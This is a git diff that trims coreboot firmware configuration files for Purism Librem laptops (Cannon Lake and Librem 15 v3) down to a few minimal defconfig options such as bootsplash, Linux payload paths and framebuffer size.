Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -# CONFIG_USE_INTEL_FSP_MP_INIT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -CONFIG_FSP_HYPERTHREADING=y -# CONFIG_INTEL_KEYLOCKER is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y -CONFIG_ME_SPEC=12 -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -CONFIG_SOC_INTEL_COMMON_NHLT=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_X86_CLFLUSH_CAR=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_cnl/cpu_microcode_blob.bin" - -# -# Northbridge -# - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_LIBREM_EC=y - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_UDK_BASE=y -CONFIG_UDK_2017_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=2017 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_IDT_IN_EVERY_STAGE=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_RUN_FSP_GOP is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -CONFIG_DRIVERS_I2C_GENERIC=y -CONFIG_DRIVERS_I2C_HID=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_HAVE_DPTF_EISA_HID=y -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -# CONFIG_BMP_LOGO is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_PLATFORM_USES_SECOND_FSP=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_S_CBFS_2="fsps_2.bin" -CONFIG_FSP_M_CBFS_2="fspm_2.bin" -CONFIG_FSP_M_FILE_2="$(obj)/Fsp_2_M.fd" -CONFIG_FSP_S_FILE_2="$(obj)/Fsp_2_S.fd" -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_FSP_USES_CB_STACK=y -CONFIG_HAVE_FSP_LOGO_SUPPORT=y -CONFIG_FSP_COMPRESS_FSP_S_LZMA=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y -CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y -CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Skylake" -CONFIG_GFX_GMA_PCH="Cannon_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_IOAPIC=y -CONFIG_ACPI_NHLT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -CONFIG_DISPLAY_FSP_VERSION_INFO=y -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_SPD_READ_BY_WORD=y -CONFIG_SPD_CACHE_IN_FMAP=y -CONFIG_SPD_CACHE_FMAP_NAME="RW_SPD_CACHE" -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_15v3.config b/config/coreboot-librem_15v3.config index e1c8c843c..d67db0e2a 100644 --- a/config/coreboot-librem_15v3.config +++ b/config/coreboot-librem_15v3.config @@ -1,797 +1,21 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Librem 15" -CONFIG_MAINBOARD_PART_NUMBER="Librem 15 v3" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="purism/librem_skl" -CONFIG_VGA_BIOS_ID="8086,1916" -CONFIG_DIMM_MAX=1 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="Purism" -CONFIG_CBFS_SIZE=0xe00000 CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y -CONFIG_MAX_CPUS=8 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="librem15" 